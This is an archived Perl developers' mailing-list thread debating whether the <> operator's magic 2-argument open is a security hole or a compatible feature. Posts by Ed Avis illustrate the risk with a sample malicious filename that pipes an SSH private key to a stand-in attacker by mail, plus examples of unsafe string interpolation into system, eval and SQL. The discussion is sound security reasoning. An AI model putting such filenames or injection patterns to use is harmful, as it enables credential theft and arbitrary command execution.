Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Sat, 26 Jul 2008 21:50:56 -0400
To: perl5-porters [...] perl.org
From: Mark Mielke <mark [...] mark.mielke.cc>
Download (untitled) / with headers
text/plain 2.8k
Aristotle Pagaltzis wrote: Show quoted text
> * Mark Mielke <mark@mark.mielke.cc> [2008-07-27 03:10]: >
>> This logic does not follow. That the shell provides a feature, >> therefore Perl does not need to provide the feature, is pretty >> backwards thinking in my opinion. You need to provide >> something more substantial than this. >>
> Asserting that I have to doesn’t make it so. Please give me a use > case for 2-arg open magic using implicitly from the command line > that cannot be implemented with process substitution, or can only > be implemented with process substitution with significantly more > difficulty. If you can’t, then my assertion is correct. >
No. Your assertion misses the point. The shell provides an echo command. Since the shell provides an echo command that maps similar to the perl print function, and since one can always convert perl -e print to echo, therefore print is not required in Perl. Right? I don't think so. That the shell provides a function is NOT evidence that Perl should not. You've already agreed that "-" provides value. Beyond this, it comes to opinion as to whether the function provides value in Perl, or whether it is a waste in Perl. A Windows COMMAND.COM user might like the flexibility provided by Perl implicit 2-arg open, as COMMAND.COM does not provide all of the same functions. There are other variations that are possible, although not necessarily any more real than the problems claimed, such as the ability to ensure that the next 2-arg open is only executed once the previous 2-arg open is read successfully. For example: ( expensive command 1; expensive command 2; ) | perl -ne 'if (/bad/) { die }' Vs: perl -ne 'if (/bad/) { die }' 'expensive command 1 |' 'expensive command 2 |' I don't think the above are legitimate uses, but then, I don't think <> is a real operator to be used by a complex program. Show quoted text
>> Specifically, point out a place where the existing behaviour is >> causing a *real* problem. >>
> > If the feature is no longer pulling its weight, then the burden > of proof is on your side, not mine. > > So go ahead: what use case does the feature solve? >
Incorrect. Compatibility itself is a strong reason to keep a feature. You need to prove that: a) the feature provides substantial harm (either in terms of maintenance effort or support issues), b) by removing or restricting the feature, you will provide a benefit of some sort (reduced maintenance effort or reduced support issues), and c) that the feature is not relied on by other people and existing code will not break I don't think you've succeeded any of these three. I'm not convinced that this is a real problem. I'm not convinced that "fixing" it will reduce the maintenance cost or support issues, and I'm not convinced that the features are no longer in use. Cheers, mark -- Mark Mielke <mark@mielke.cc>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 21:53:04 -0400
To: perl5-porters [...] perl.org
From: Mark Mielke <mark [...] mark.mielke.cc>
Download (untitled) / with headers
text/plain 691b
Aristotle Pagaltzis wrote: Show quoted text
> * Mark Mielke <mark@mark.mielke.cc> [2008-07-27 03:20]: >
>> Feel free to educate me by pointing to a situation where open() >> handling http:// makes a PHP script exploitable, where blocking >> http:// would have made the PHP script impenetrable. >>
> > PHP `require` uses `open`. >
Be more specific please. You seem to be referencing some sort of "require $variable;" where $variable is from an external source. None of the PHP code I have does this. If you mean something else, please be more specific. If you mean to suggest that "require $variable;" is common - I would find this surprising. Cheers, mark -- Mark Mielke <mark@mielke.cc>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 21:56:51 -0400
To: perl5-porters [...] perl.org
From: Mark Mielke <mark [...] mark.mielke.cc>
Download (untitled) / with headers
text/plain 898b
Aristotle Pagaltzis wrote: Show quoted text
>> Good. This is interesting. Please report back on the number of >> actual files in 1988, 1998, and 2008, that use ">", "<", or >> "|" as the first or last character in the file name. >>
> > You’re being onery on purpose, but I’ll humour you: I found none > of those, but a handful of files with spaces at the beginning of > their name. Thanks for playing. >
With real metrics, the conclusion would seem to be that 2-arg open or implicit 2-arg open via <> should at least deal with filenames that begin with spaces at the beginning. The assumption that users are using ">", "<", or "|" as the first or last would seem to be proven false, at least in the one case you are able to measure. Given that you have the data, can you also check whether "http:" or "file:" is ever the prefix for a file name? Cheers, mark -- Mark Mielke <mark@mielke.cc>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 22:03:29 -0400
To: perl5-porters [...] perl.org
From: Mark Mielke <mark [...] mark.mielke.cc>
Aristotle Pagaltzis wrote: Show quoted text
> * Mark Mielke <mark@mark.mielke.cc> [2008-07-27 03:10]: >
>> Again, what is the worst that can really happen? So the user is >> able to access a resource that they already have permission >> to. So what? There are so many ways to get a user to screw up >>
> > Do you regard symlink attacks as a hole in the respective > software? If so, please explain to me how your opinion in that > case is not self-contradictory with the opinion you expressed > above. >
I don't understand the question. If it is a reference to a comparison between different types of exploits for code that was written by an amateur or that does not have taint-mode checking enabled, I'm not convinced that this is a serious problem compared to others, or that others need to be fixed. In the other poster's example, I don't agree that gets() should be removed from libc, just because it can be exploited. I'm happy with gcc warnings listing it as a security concern when requested. Perl's taint-mode provides this feature and more. Cheers, mark -- Mark Mielke <mark@mielke.cc>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sat, 26 Jul 2008 22:25:07 -0400
To: perl5-porters [...] perl.org
From: Mark Mielke <mark [...] mark.mielke.cc>
Download (untitled) / with headers
text/plain 2.1k
For the record, though - Making <> use 3-argument open with "r" will not break any of my programs that I have ever written, and I don't think anybody who uses my programs would rely on the 2-argument open "feature", as I usually de-emphasize the Perl nature of my programs, and the programs are not primarily used by advanced Perl programmers. :-) The problem I have is the desire to significantly change Perl 5 by new comers. Perl 5 is a foundation at this point. Even back at Perl 5.004, compatibility was important. With Perl 5.10 I expect things to be slowing down, not speeding up. Perl 6 is the major change. Feel free to ensure that Perl 6 does not include a 2-arg open(). The feature under discussion has existed for as long as I remember using Perl. This suggests to me 1992 or earlier. I've known how it has worked, and never experienced a problem with it since then. The idea that in 2008 it would suddenly be a huge issue is a bit unbelievable to me. I totally agree that users should be using 3-arg open wherever possible, and that programs with security concerns should use taint-mode checking, and that taint-mode checking should flag <> as a potential problem. I disagree that existing behaviour needs to be broken to satisfy the above, or that more than the above is necessary. This is just one feature of many I've seen lately that has raised my concern. This particular feature on its own doesn't matter to me. Many similar changes that will eventually ensure that some program I have running on Perl 5.004 or Perl 5.6 today, will stop working in Perl 5.10 tomorrow, concerns me greatly. At present, Perl 5.6 is widely used on our Solaris machines, Perl 5.8 is widely used on our Linux and Windows machines, but Perl 5.004 is still used on some of our older HP-UX and Solaris machines. My programs already have Perl versions checks that adjust behaviour. I am not keen to add more. Compatibility is very important. If RHEL 6.x begins providing Perl 5.10, and a user begins using Perl 5.10 in our application, I don't want to be screwed. I hope this concern can be understood by the newcomers. I believe it is already well understood by the old timers. Cheers, mark -- Mark Mielke <mark@mielke.cc>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 05:16:59 +0200
To: perl5-porters [...] perl.org
From: Aristotle Pagaltzis <pagaltzis [...] gmx.de>
* Mark Mielke <mark@mark.mielke.cc> [2008-07-27 04:00]: Show quoted text
> The assumption that users are using ">", "<", or "|" as the > first or last would seem to be proven false
1. Absence of evidence is not evidence of absence. 2. *I* never assumed that *users* would do this. What I *did* assume is that malicious attackers might be able to exploit sloppy code to create such files in places where subsequently a script using `while (<>)` can pick them up, presumably running under a different user name, thus allowing escalation of privilege. (Unfortunately `while (<>)` encapsulates so much convenient functionality all at once (opening of multiple files, nice error reporting, a special case for empty @ARGV, etc) that when put together with the 2-arg open hazard, it ends up being an attractive nuisance.) You’ll hopefully understand that I cannot give you any reliable data about how often attackers do this on my systems; if I knew of such cases I wouldn’t be faffing around on p5p. Regards, -- Aristotle Pagaltzis // <http://plasmasturm.org/>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 08:00:29 +0200
To: perl5-porters [...] perl.org
From: jvromans [...] squirrel.nl (Johan Vromans)
Download (untitled) / with headers
text/plain 294b
[Quoting Mark Mielke, on July 26 2008, 21:06, in "Re: [perl #2783] Sec"] Show quoted text
> This hardly constitutes evidence. It is your guess. That you haven't > been able to point to a real-life scenario of this issue being a problem > suggests to me that your guess is wrong.
Sleep well, Mark. -- Johan
CC: perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 09:46:10 +0200
To: Ed Avis <eda [...] waniasset.com>
From: Abigail <abigail [...] abigail.be>
Download (untitled) / with headers
text/plain 1.2k
On Sat, Jul 26, 2008 at 08:59:59AM +0000, Ed Avis wrote: Show quoted text
> Mark Mielke <mark <at> mark.mielke.cc> writes: >
> >What legitimate scenarios use files with names "<x"?
> > Very few. But if such a filename does exist, you'd want the program to handle > it in a sane way. > > Unfortunately the world is not always legitimate. Every program using while > (<>) has to come with a health warning that it is unsafe to use unless you kno > that no ><| characters are contained in the filenames. > > Remember gets() in the standard C library? What's the problem with it? No > legitimate use would ever enter a million characters of text when given a prom > to enter 'yes' or 'no'. And if users are so stupid as to enter too much text > and overflow the fixed buffer, that is a problem with the users and they shoul > be educated to take more care. > > Yet today, gets() is deprecated and nobody uses it - whether writing 'security > code' or not. It is just too dangerous.
I think gets() is an excellent example. Guess what? gets() in the current C library is still the same as it was long time ago. The functionality of gets() didn't change. Additional functionality, using a different name was used. Perl went this way as well. 3-arg open already exists. Abigail
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 04:04:19 -0700
To: perl5-porters [...] perl.org
From: Eric Wilhelm <scratchcomputing [...] gmail.com>
Download (untitled) / with headers
text/plain 3.4k
Hi Mark, Paul, Joshua, Yitzchak, Aristotle, Ben, Tom, Ed, Abigail, David, Glenn, Zefram, Johan, Aaron, Bruce, Bruce, Bruce, and Bruce, # Mark Mielke wrote: Show quoted text
>The problem I have is the desire to significantly change Perl 5 by new >comers. >... >The feature under discussion has existed for as long as I remember >using Perl.
The same is true for the newcomers. The difference is in how long they've known it could bite them, and whether they know how long you've known how long it has been there and why it was one way long, long ago but then another (longer) way was added not so long ago (relative to long, long ago), and how long they're willing to spend reading the long documentation (or even longer arguments on p5p (or even longer textbooks (many of which have long been known by most long-time users to have been wrong about a long list of things))) just to grok the long history of perl, which, for them personally, will probably be rather short because they'll have have long since gotten tired of it and moved on to writing code in a longer language because the way they were told to do it was probably not riddled with a long list of pitfalls. In short, the new user is learning a perl which is different than the one you learned as a new user and reading documentation which may have changed since you last read it. Show quoted text
>... agree that users should be using 3-arg open ... programs with >security concerns should ... taint-mode checking should ...
Great. Did anyone bother to tell them? If we all think 3-arg open with lexical filehandles and checking return values with low-precedence 'or' is the new hotness, should some examples like that perhaps be rather handy to find in the documentation? open(my $handle, '<', $file) or die "cannot open '$file' for reading: $!"; open(my $handle, '>', $file) or die "cannot open '$file' for writing: $!"; The perlfunc.pod/open and perlopentut.pod seem to fail that. I see perlintro.pod has it, but you won't get there from `perldoc -f open`. The documentation of <> is rather clear in perlop.pod "The null filehandle <> is special...", but doesn't say much about security. Now count the number of unrelated examples in the pod which say "while(<>) {...}", yet are a long way from that "is special..." bit. perl-5.10.0/pod $ ack -l 'while *\( *<> *\)' Notably, perlintro.pod and perlfaq{4,5,6,9}.pod. But of course when perlrun.pod says that -ane "is equivalent to ... while (<>)" it really means it (because when it said '-n' "causes Perl to assume the following loop ... while (<>)" it really meant that.) Using "<$handle>" or "<$fh>", or "<HANDLE>" in all of the regexp and similar 'you know, that filehandle you opened' examples would be nice, and using "<ARGV>" in perlrun.pod would be appropriate if that is indeed exactly what <> means. Further, it seems that readline() is now <ARGV> in 5.10, which means the documentation in perlop.pod should probably just say "see readline()". Yes, those are all documentation bugs, but please consider this my bug report on your argument. Shouting at new users for shooting themselves in the foot with the long rope (after having been handed the dangerous end first) is probably fun after a long day of maintaining a PDP-11 running 5.004 (not to mention the uphill both ways commute through the snow), but arguing about changing or not changing the language is mostly unnecessary (especially in this case.) So, now that all 14 of you are thinking about it, who wants to write which documentation patches? Thanks, Eric
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 13:27:52 +0200
To: perl5-porters [...] perl.org
From: Bram <p5p [...] perl.wizbit.be>
Download (untitled) / with headers
text/plain 1.5k
Citeren Eric Wilhelm <scratchcomputing@gmail.com>: Show quoted text
>> ... agree that users should be using 3-arg open ... programs with >> security concerns should ... taint-mode checking should ...
> > Great. Did anyone bother to tell them? > > If we all think 3-arg open with lexical filehandles and checking return > values with low-precedence 'or' is the new hotness, should some > examples like that perhaps be rather handy to find in the > documentation? > > open(my $handle, '<', $file) or > die "cannot open '$file' for reading: $!"; > > open(my $handle, '>', $file) or > die "cannot open '$file' for writing: $!"; > > The perlfunc.pod/open and perlopentut.pod seem to fail that. I see > perlintro.pod has it, but you won't get there from `perldoc -f open`. >
[snip] Show quoted text
> > So, now that all 14 of you are thinking about it, who wants to write > which documentation patches?
Before writing documentation patches one should first read the documentation in blead. perldoc -f open with blead: At the very top: Opens the file whose filename is given by EXPR, and associates it with FILEHANDLE. Simple examples to open a file for reading: open(my $fh, '<', "input.txt") or die $!; and for writing: open(my $fh, '>', "output.txt") or die $!; (The following is a comprehensive reference to open(): for a gentler introduction you may consider L<perlopentut>.) A quick look at the changes of perlfunc.pod: http://public.activestate.com/cgi-bin/perlbrowse/p/32904 http://public.activestate.com/cgi-bin/perlbrowse/p/32729 Meaning: some things are already changed. (Not all of them tho) Kind regards, Bram
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 13:01:00 +0000 (UTC)
To: perl5-porters [...] perl.org
From: Ed Avis <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 2.6k
Zefram <zefram <at> fysh.org> writes: Show quoted text
>I am mystified as to the circumstances under which one might actually >want the behaviour of /$/ (without /m) or /^/m. Certainly they can be >correctly used, with a bit of care, but as far as I can see they never >completely match the actual semantics of what constitutes a line start >or end.
This no longer matches the subject line ;-) but it has been informative. I had dismissed Damian Conway's advice to eschew ^ and $ in favour of \A and \Z. The reasons he gives are not as good as yours. But you have convinced me, and made me realize there are probably quite a few bugs in my code where I have used $ in a regexp thinking it meant the end of the string. (I usually strip leading and trailing whitespace as a habit before doing anything else, so that will have fixed many of the cases, but some must remain.) Anyway, to get back to the original bug report, Show quoted text
>Magic behaviour of "-" is less surprising, less dangerous, and more >likely to be documented than any of the others.
It is also consistent with Unix conventions. Almost all the standard Unix (and GNU, BSD) tools accept - to mean stdin or stdout. Whereas the magic handling of <>| is wildly inconsistent with every other program. (Again, I'm not saying the magic is unconditionally bad, just that it needs a little bit of extra syntax so you only turn it on if you know what you are doing.) Show quoted text
>I expect generally unpredictable behaviour if I give a filename >containing unusual characters to a program written by anyone else. >(Not specifically programs written in scripting languages, or programs >written by amateurs, but just programs written by anyone who wasn't me. >Hell, I once encountered commercial *kernel* code that lost trailing >spaces in filenames.) This expectation has been instilled by years of >experience, and reinforced by the psychological understanding that most >programmers just don't think about the unusual cases.
You could s/filenames/anything at all/, sadly. We could have a general lament of bad software quality for hundreds of posts :-(. I think Tim B-L's motto applies here: Be conservative in what you produce; be liberal in what you accept. Other programs may have bugs with trailing spaces in filenames and you may need to sanity-check the filename before giving it to them. But that is no reason not to do the right thing in one's own code. If the best design decision in Unix was to use a single character for line endings, surely the worst was to allow any character (except NUL) in a file path. But we're stuck with it; like it or not, the operating system does allow you to create a file 'hello ', so we must handle it correctly. -- Ed Avis <eda@waniasset.com>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 13:24:33 +0000 (UTC)
To: perl5-porters [...] perl.org
From: Ed Avis <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 2.9k
Mark Mielke <mark <at> mark.mielke.cc> writes: Show quoted text
>Again, what is the worst that can really happen? So the user is able to >access a resource that they already have permission to. So what?
Almost all userspace security holes are of this nature. Suppose perl had a bug that caused it to print the contents of $ENV{HOME}/.ssh/id_rsa when an expression involved the number 42. All that happens is that the user is able to read a file that they had access to already. They could have printed it out with one line of perl any time they wanted. So what is the problem? Another poster mentioned symlink attacks. Suppose a perl script always writes a file /tmp/foo and naively creates it for 'writing'. Then if there is a symlink /tmp/foo -> /home/someone/somefile, that file will be created or overwritten. But only if the user had permission to access the file in the first place: the symlink attack could not be used to overwrite a file that the user running the script did not have access to. All it has done is access a resource that the user had permission for anyway. So what? So my PHP program has a random bug that causes it to write a zero-length file with some weird filename in a directory somewhere. That can hardly be a big deal, because if I didn't have permission to create files in that directory it wouldn't be able to. It may be an interesting bug, but it is not a security problem surely? And that perl script I wrote to look for obscenities in text files, I heard some malcontents on the Perl mailing list making theoretical speculations about the <> operator, but there's no way in a million years I will create files beginning with a | character. And anyway, all it does is cause commands to run that the user had permission to run anyway, it doesn't really breach any security. ... Running that old script by hand is tedious, and for some reason my boss wants it to check regularly, so I'll do it from crontab: (cd work_dir; check_obscenities *) It needs to run as root because it checks files belonging to different users, and in any case I have audited the code to make sure it is safe. All it does is open files for reading, print a report to stdout, and then exit. It doesn't even take any command line options. Do you see how these things can interact? Have a look at the security announcements on Linux Weekly News or Debian. So many of them are for seemingly trivial things that 'obviously' could not be a problem in practice. The program might be tricked into saving a spurious file into the high scores directory. A buffer might overflow if given a bad PNG file. At least half are purely 'theoretical'. But practical exploits are often done by finding a small crack and opening it wider and wider. In my opinion, running an external command or overwriting an arbitrary file, where both the command and the file are completely under the control of whoever can make the filename, is more than just a small crack :-(. -- Ed Avis <eda@waniasset.com>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 14:11:00 +0000 (UTC)
To: perl5-porters [...] perl.org
From: Ed Avis <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 6.8k
ark Mielke <mark <at> mark.mielke.cc> writes: Show quoted text
>Making <> use 3-argument open with "r" will not break any of my programs >that I have ever written, and I don't think anybody who uses my programs >would rely on the 2-argument open "feature", as I usually de-emphasize >the Perl nature of my programs, and the programs are not primarily used >by advanced Perl programmers.
Indeed, I don't think I have ever used this 'feature'. Maybe once or twice on Windows where the shell doesn't provide it for you. Show quoted text
>The problem I have is the desire to significantly change Perl 5 by new >comers.
I don't know about the others but I have been writing in Perl for over a decade. I've written CPAN modules, had patches incorporated into others' modules and written a tiny part of the core module set (Tie::RefHash::Nestable). This doesn't make me an expert, especially compared with most of the people here, but not a newcomer either. And I didn't realize there was a gotcha with <> until very recently! Like everyone else, I read perlop and kind of switched off at the point where it starts talking about awk and sed and other historical Unix stuff. If I can be that dimwitted, so can many others... and I don't think it is really their fault. Perl makes it just too easy to use the unsafe form and too hard to write the safe, predictable code to just read the filenames given. Yet easy things should be easy! Show quoted text
>Perl 6 is the major change. Feel free to >ensure that Perl 6 does not include a 2-arg open().
Nobody is arguing (pun not intended) that the magic open() processing should not be available, just that the default <> recommended for reading files should be safe for everyone to use all of the time, and if you want to turn on the magic that should be available with some slightly longer construct, perhaps <<>>. As a thought experiment, suppose that the perl maintainers adopted this suggestion. So 5.12 was released and it had <> as a boring, meat-and-potatoes file opening operator (perhaps supporting - to mean standard input, as per the normal boring, meat-and-potatoes Unix conventions). What would happen to the existing code that uses <>? You can divide it into two or three cases: 1. Cases where the programmer really did want to process arguments magically, including overwriting files when given a filename beginning with '>', running an external command when it begins or ends '|', stripping trailing spaces, and doing something weird when a filename begins '<'. I would hope that the programmer would mention this in the program's documentation. 2. Cases where the programmer didn't really want that and just intended to read files from the command line, but made a mistake and used the wrong operator. 3. Cases where the programmer didn't think about it one way or the other but just hacked up a quick program that's good enough for his own use. Programs in set 1 would be broken by the change and their programmers would have some reason for feeling annoyed that perl's semantics were being changed by 'newcomers'. Programs in set 2 were buggy before (at least in principle), and would be in some sense corrected by the language change. I am not saying that in general it is a good idea to design a language by making retrospective changes to fix bugs made by incompetent programmers, but in this particular case I think the programmers can be forgiven. All the introductory material for perl suggests <> to read files given on the command line and even perlfunc does not mention the gotchas until a long way down. For the programs in set 3, it may not matter either way, but it's probably better to default to the safe behaviour and make the programmer think about his or her intentions and change the code to <<>> only if the magic is wanted. Now, what are the proportions of programs in the three sets? I would guess about half in set 2 and half in set 3, with almost none in set 1. Looking on Google Code Search, I didn't see any in the first page of results, with the possible exception of a script by tchrist where I guess it is implicit (though not documented at all) that it will have the magical filename behaviour. Show quoted text
>The feature under discussion has existed for as long as I remember using >Perl. This suggests to me 1992 or earlier. I've known how it has worked, >and never experienced a problem with it since then. The idea that in >2008 it would suddenly be a huge issue is a bit unbelievable to me.
I think people have become a little more security-conscious in the past couple of decades: or unreasonably paranoid, depending on your point of view. An awful lot of code written in the early nineties for a more innocent age turned out to be riddled with security holes when exposed to the public internet. I am not saying this feature is equivalent to the various bugs in sendmail, just that attitudes have perhaps changed. Show quoted text
>I totally agree that users should be using 3-arg open wherever possible, >and that programs with security concerns should use taint-mode checking, >and that taint-mode checking should flag <> as a potential problem.
It is this 'programs with security concerns' that I don't agree with. If you have your computer connected to the public Internet, every program is a program with security concerns. To return to this example of being tripped up by filenames with special characters, it is often possible for a website to make the user's browser download a file with a certain name to his home directory. (See 'carpet bombing' and Safari for one example of where an interaction between different programs, none of them obviously flawed per se, led to a vulnerability.) Suppose the site can make you save a file called 'cat .ssh/id_rsa | mail badguy@somewhere.net |' to your home directory or Desktop folder. I hope that web browsers do filename santizing, but it would be unwise to assume that they all do and so does every other application the user might run. Rather than offering some special flag that some programs can turn on to ameliorate the problem, and rather than putting some note in the documentation that some programmers will read and take notice of, is it not better to just make the default code that everybody writes be safe? Then if a programmer has read the documentation, thought about the implications, and really wants the magic behaviour turned on, he or she can use some slightly longer form like <<>> to get it. But the ordinary programmers, who don't necessarily spend their weekends reading perl5-porters or revising perlfunc, and who just want to read some files, can do so safely. It's worth noting that -T does not really solve the problem. Yes, it fixes the security implications but your program will still be buggy, for example % touch 'foo ' % perl -Te 'while (<>) {}' 'foo ' Can't open foo : No such file or directory at -e line 1. Reading files given on the command line should not be hard. It is not too much to ask that it just work, 100% of the time. -- Ed Avis <eda@waniasset.com>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Sun, 27 Jul 2008 14:43:34 +0000 (UTC)
To: perl5-porters [...] perl.org
From: Ed Avis <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 4.7k
Mark Mielke <mark <at> mark.mielke.cc> writes: Show quoted text
>[speculation about when magic <> might be useful instead of letting
the shell do it] Show quoted text
>I don't think the above are legitimate uses, but then, I don't think ><> is a real operator to be used by a complex program.
If it is not a real operator suitable for serious use then it is probably a bad idea to mention it all over the place in documentation and tutorials. And certainly a bad idea to have such a short syntax for it that does nothing to make the programmer consider the (IMHO dangerous and surprising) behaviour. I can understand that perl or other tools contain features which are sharp tools and liable to cut you if you use them unwisely. Normally, however, such rough edges are marked in the language syntax so only those who know what they are doing will use them. Even C, not renowned as a safe language for the non-expert, makes you type a little bit of syntax if you want to perform the potentially unsafe operation of casting a pointer to an integer or back again. One option we have is to accept that, as you say, <> is not a 'real operator' to be used by 'complex programs'. That would imply changing all the perl documentation to avoid it, printing new editions of O'Reilly books, filing bug reports against all the code that mistakenly uses it without intending the magical behaviour, and sending thousands of perl programmers on re-education courses where they can learn about the dangers of <> and the correct (much longer and more awkward) code to use instead. In principle, this may well be the right thing to do, but it sounds like a lot of work. Alternatively, we could look at the current uses of <> and see how many of them really intend and rely on the magical behaviour (see my other post). If it turns out that not many do, the operator could be changed so that from being a rather dangerous oddity in perl 5.10, it becomes a robust and safe tool in 5.12. Anyone who really wanted the old magic behaviour could enable it with a small bit of syntax like <<>>. Show quoted text
>>>Specifically, point out a place where the existing behaviour is >>>causing a *real* problem.
>> >>If the feature is no longer pulling its weight, then the burden >>of proof is on your side, not mine. >> >>So go ahead: what use case does the feature solve?
> >Incorrect. Compatibility itself is a strong reason to keep a feature.
I don't think this particular sub-discussion is likely to go anywhere. You have asked for an 'actual case' where the magic processing has caused harm. The other poster and I have made arguments in principle (and I have outlined several different scenarios where it could contribute to security breaches) but because we do not spend our time trying to crack systems or watching it being done, we can't provide details of a particular instance. (Someone did mention that filenames with leading spaces are common, which also breaks the magical arg processing.) In return, Aristotle P. and I have asked for an actual case where the magical feature is useful, and you have not been able to provide that. (With the possible exception of Microsoft Windows.) Show quoted text
>You need to prove that: a) the feature provides substantial harm >(either in terms of maintenance effort or support issues), b) by >removing or restricting the feature, you will provide a benefit of >some sort (reduced maintenance effort or reduced support issues), and >c) that the feature is not relied on by other people and existing >code will not break
I think we've had a good crack at (c) by searching for existing code (I could not find any where magic was intended, assuming that if the program did have magic behaviour it would be documented) and by asking people on this newsgroup if they use the feature. It is not so much the feature of magic opening which is considered bad, just the fact that it is turned on by default for such a simple operator as <>, promoted as the normal way to open files in perl. Viewed one way, the harm is that it makes it far too easy to write unsafe code in Perl (usually without even realizing there is a problem) and too hard to write something which is afe. In terms of the resulting Perl program which uses the <> operator, the harm is that it is buggy by doing weird things when filenames begin or end |, or begin with < or >, or have leading or trailing spaces - unless the programmer really did intend all of that rag-bag of random behaviour, which somehow I doubt (see issue (c) you mentioned, and other posts). In the final step to the real world, the harm done is a file overwritten or an external command run when it should not have been, perhaps as one step in a security hole (see the many ideas I and others have suggested), or more benignly a simple failure to open the file and behave as documented. -- Ed Avis <eda@waniasset.com>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 10:46:35 -0400
To: perl5-porters [...] perl.org
From: Mark Mielke <mark [...] mark.mielke.cc>
Aristotle Pagaltzis wrote: Show quoted text
> * Mark Mielke <mark@mark.mielke.cc> [2008-07-27 04:00]: >
>> The assumption that users are using ">", "<", or "|" as the >> first or last would seem to be proven false >>
> > 1. Absence of evidence is not evidence of absence. >
Aristotle: You trimmed the rest of my sentence where I qualified my conclusion. Not very nice. Show quoted text
> 2. *I* never assumed that *users* would do this. What I *did* > assume is that malicious attackers might be able to exploit > sloppy code to create such files in places where subsequently > a script using `while (<>)` can pick them up, presumably > running under a different user name, thus allowing escalation > of privilege. >
There are so many things that might be exploited. If you wish to extend this argument, I believe it leads to the conclusion that ALL perl programs should be forced to run in taint-mode. After all, if it could be exploited, it should be stopped by default. Right? Cheers, mark -- Mark Mielke <mark@mielke.cc>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It'safeature
Date: Sun, 27 Jul 2008 15:01:15 +0000 (UTC)
To: perl5-porters [...] perl.org
From: Ed Avis <eda [...] waniasset.com>
Download (untitled) / with headers
text/plain 2.3k
Mark Mielke <mark <at> mark.mielke.cc> writes: Show quoted text
>>2. *I* never assumed that *users* would do this. What I *did* >> assume is that malicious attackers might be able to exploit >> sloppy code to create such files in places where subsequently >> a script using `while (<>)` can pick them up, presumably >> running under a different user name, thus allowing escalation >> of privilege.
> >There are so many things that might be exploited. If you wish to extend >this argument, I believe it leads to the conclusion that ALL perl >programs should be forced to run in taint-mode. After all, if it could >be exploited, it should be stopped by default. Right?
You can certainly argue that taint mode should be on by default. Myself I would not go that far because most things that cause a security problem and are addressed by taint mode are caused by string interpolation and you can *see* that it is happening: # Read a string from the user. my $string = <STDIN>; die if not defined $string; chomp $string; # Now a gallery of unsafe things you can do by interpolating that: /$string/; system "ls -l $string"; $r = eval "1 + $string"; ${$string} = 1; # use strict catches this one my $sql = "select * from table where x = $string"; my $html = "<b>$string</b>"; For me all of those set off alarm bells. You are doing string interpolation, which is often unsafe, and the language syntax shows that a string is being interpolated. If I had to write such code, I would validate $string against /\A[A-Za-z]+\Z/ or similar first. But the <> operator doesn't give any indication that something dangerous is going on, that depending on the characters contained in the filenames (and remember, on Unix any character except / and NUL can be in a filename) it will do odd things. And not just any odd things, but really quite dangerous ones like running an external command or overwriting a file. The problem is that <> looks so innocuous and everyone thinks it reads lines from the files on the command line, when its real behaviour is much more complex and potentially dangerous. The feature can still be there, just not as a wolf in sheep's clothing. (As I mentioned earlier taint mode doesn't fully fix the bugs in a program using <> with the intention of just reading files.) -- Ed Avis <eda@waniasset.com>
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Sun, 27 Jul 2008 17:12:21 +0200
To: perl5-porters [...] perl.org
From: Tels <nospam-abuse [...] bloodgate.com>
Download (untitled) / with headers
text/plain 760b
Moin, On Sunday 27 July 2008 16:43:34 Ed Avis wrote: Show quoted text
> Mark Mielke <mark <at> mark.mielke.cc> writes:
> >[speculation about when magic <> might be useful instead of letting
> > the shell do it] >
> >I don't think the above are legitimate uses, but then, I don't think > ><> is a real operator to be used by a complex program.
> Anyone who really wanted the old magic behaviour could enable it > with a small bit of syntax like <<>>.
use feature "unsafe_angles"; # allow <> to cut deep ? All the best, Tels -- Signed on Sun Jul 27 17:11:08 2008 with key 0x93B84C15. View my photo gallery: http://bloodgate.com/photos PGP key on http://bloodgate.com/tels.asc or per email. "In computer science, we stand on each other's feet." -- Brian K. Reid
Download signature.asc
application/pgp-signature 481b

Message body not shown because it is not plain text.

CC: perl5-porters [...] perl.org
Subject: Re: [perl #2783] Security of ARGV using 2-argument open - It's a feature
Date: Sun, 27 Jul 2008 11:19:29 -0400
To: Ed Avis <eda [...] waniasset.com>
From: Mark Mielke <mark [...] mark.mielke.cc>
Download (untitled) / with headers
text/plain 8.7k
Ed Avis wrote: Show quoted text
> Mark Mielke <mark <at> mark.mielke.cc> writes: >
>> I don't think the above are legitimate uses, but then, I don't think >> <> is a real operator to be used by a complex program. >>
> > If it is not a real operator suitable for serious use then it is > probably a bad idea to mention it all over the place in documentation > and tutorials. And certainly a bad idea to have such a short syntax > for it that does nothing to make the programmer consider the (IMHO > dangerous and surprising) behaviour. >
